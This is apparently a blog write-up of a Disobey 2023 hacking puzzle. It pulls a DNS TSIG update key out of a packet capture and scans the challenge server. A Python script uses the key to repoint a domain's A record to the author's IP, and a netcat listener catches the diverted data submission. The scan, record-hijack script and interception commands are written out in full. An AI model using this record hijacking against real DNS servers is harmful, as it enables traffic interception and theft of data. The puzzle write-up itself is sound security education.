KEY: 512 3 165 GZ+xb9VxTX5WrwFM7L8D4YR1NC5G3WJNxOalrApwrxKA2uTCTpzRPEDX fu8aRubUJKOMb5M3iOsTQh0mgOyV1A==
BITS: AAA=
CREATED: 20201007101121

QUIT
EXIIT
EXIT
PERKELE
Key distribution service shutdown sequence started... Shutting down in 5 seconds

The TCP stream contains some kind of online terminal transaction, which in turn contains a DNS key named “updatekey”.  The key can most likely be used to update DNS records. Now we only need to find a corresponding DNS server

Inspecting further an IP of a server 94.237.108.204 is found from the pcap file, containing a POST request to /submit -endpoint and a domain crunch.kt.3g.re:

POST /submit/ HTTP/1.1
Host: crunch.kt.3g.re
Accept: */*
Content-Type: application/json
User-Agent: Kouvosto Telecom sensitive data submission agent (military grade)
Content-Length: 37

{"data": "test", "pystyy": "vet...."}HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Thu, 08 Oct 2020 06:52:35 GMT
Content-Type: application/ktson
Transfer-Encoding: chunked
Connection: keep-alive

15
{"result": "success"}
0

Let’s enumerate:

┌──(kali㉿kali)-[~]
└─$ nmap -p- -sC -sV 94.237.108.204
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-20 15:18 EDT
Nmap scan report for 94-237-108-204.nl-ams1.upcloud.host (94.237.108.204)
Host is up (0.099s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 6d:bf:ac:68:d0:ee:5e:a3:aa:36:27:ee:13:21:1f:cc (RSA)
| 256 3d:8a:c3:56:55:37:ee:54:a9:2c:7e:91:a0:32:72:cc (ECDSA)
|_ 256 bb:2c:26:9a:6d:0b:24:76:b1:75:5c:90:51:7a:6d:07 (ED25519)
53/tcp open domain (unknown banner: Kouvosto Telecom DNS server v0.01 beta - in scope)
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
| bind
|_ 21Kouvosto Telecom DNS server v0.01 beta - in scope
| dns-nsid:
|_ bind.version: Kouvosto Telecom DNS server v0.01 beta - in scope
80/tcp open http nginx 1.14.2
|_http-title: 503 Service Temporarily Unavailable
|_http-server-header: nginx/1.14.2
8089/tcp open ssl/http Splunkd httpd
|_http-title: splunkd
| http-robots.txt: 1 disallowed entry
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-10-12T22:26:42
|_Not valid after: 2023-10-12T22:26:42
|_http-server-header: Splunkd
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.92%I=7%D=10/20%Time=6351A082%P=x86_64-pc-linux-gnu%r(DNS
SF:VersionBindReqTCP,6C,"jx06x85x01x01x01x07version
SF:x04bindx10x03xc0x0cx10x03x0021Kouvostox20Tele
SF:comx20DNSx20serverx20v0.01x20betax20-x20inx20scopexc0x0cx0
SF:2x03x02xc0x0c");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 385.50 seconds

On port 53 there is a DNS server with a banner “Kouvosto Telecom DNS server v0.01 beta – in scope”. Let’s check the DNS record for the domain we saw earlier in pcap:

┌──(kali㉿kali)-[~]
└─$ dig @94.237.108.204 crunch.kt.3g.re
;; communications error to 94.237.108.204#53: timed out

; <<>> DiG 9.18.7-1-Debian <<>> @94.237.108.204 crunch.kt.3g.re
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 5409
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 87304f52daafc03886cd4f5c637c87969089e400233d6138 (good)
;; QUESTION SECTION:
;crunch.kt.3g.re. IN A

;; ANSWER SECTION:
crunch.kt.3g.re. 2 IN A 192.168.19.84

;; AUTHORITY SECTION:
3g.re. 1 IN NS go-ham.kt.3g.re.

;; ADDITIONAL SECTION:
go-ham.kt.3g.re. 1 IN A 94.237.108.204

;; Query time: 40 msec
;; SERVER: 94.237.108.204#53(94.237.108.204) (UDP)
;; WHEN: Tue Nov 22 03:25:57 EST 2022
;; MSG SIZE rcvd: 125

It seems that the place where the submission should be done is pointing to 192.168.19.84, which of course is not reachable by us.

We can now try to change the record with the DNS key we found from pcap. Let’s write a quick script and try to change the domain to point to our own ip, and then set up a listener to hopefully catch the next submission.

dns.py:

┌──(kali㉿kali)-[~/dns]
└─$ cat dns.py
#!/usr/bin/python

import sys
import os
import dns.update
import dns.query
import dns.tsigkeyring

from dns.tsig import HMAC_SHA512

keyring = dns.tsigkeyring.from_text({"updatekey": "GZ+xb9VxTX5WrwFM7L8D4YR1NC5G3WJNxOalrApwrxKA2uTCTpzRPEDXfu8aRubUJKOMb5M3iOsTQh0mgOyV1A=="})

update = dns.update.Update("3g.re.", keyring=keyring, keyalgorithm=HMAC_SHA512)
update.delete("crunch.kt")
update.add("crunch.kt", 1, "A", "85.156.119.21")

response = dns.query.tcp(update, "94.237.108.204", timeout=10)

Then set up the listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 80                  
listening on [any] 80 ...

And then run the script:

┌──(kali㉿kali)-[~]
└─$ ./dns.py.

After waiting a couple of minutes we do catch the submission request with the listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 80
listening on [any] 80 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.2] 56718
POST / HTTP/1.1
Host: crunch.kt.3g.re
User-Agent: Kouvosto Telecom sensitive data submission agent (military grade)
Transfer-Encoding: chunked
Content-Type: application/ktson
Accept-Encoding: gzip

379
{
"beacon_name": "chipper",
"beacon_ip_address": "172.16.104.32",
"beacon_model": "KVR-L200",
"beacon_firmware": "0.7.1b.83340",
"beacon_serial": "80860600021",
"beacon_location": "Saboten Biomaterial Factory #7",
"timestamp": 2718658601,
"meta_data":
{
"datatype": "KTBBD",
"version": "0.7a"
},
"events": [
{
"rssi": "-42",
"data": "aHR0cHM6Ly9ob2x2aS5jb20vc2hvcC9EaXNvYmV5L3Byb2R1Y3QvNTgyODkxZDU3Y...4NTMv",
"srData": "I29pc2pvaGFja2VyYmFkZ2U=",
"timestamp": 2718658599,
"device_ktid": "5468616e-6b20-796f-7520-666f72207472-79696e672068-617264657221"
},
{
"rssi": "-36",
"data": "SXQncyBkYW5nZXJvdXMgdG8gZ28gYWxvbmUhIEhlcmUsIHRha2UgdGhpczo=",
"timestamp": 2718658594,
"device_ktid": "5468616e-6b20-796f-7520-666f72207472-79696e672068-617264657221"
}
]
}

0

Decode the data part to get the flag and your hacker ticket:

┌──(kali㉿kali)-[~/dns]
└─$ echo "aHR0cHM6Ly9ob2x2aS5jb20vc2hvcC9EaXNvYmV5L3Byb2R1Y3QvNTgyODkxZDU3Y...4NTMv" | base64 -d
https://holvi.com/shop/Disobey/product/.../  

Flag: url to buy the hacker ticket :)

Hey, when you solve the puzzle meet us in Gofore Lounge at Disobey 2023 

disobey hacking puzzle

security

Testing

Akseli Piilola

Information security professional & ethical hacker. Leader of Gofore cyber security team.

Back to top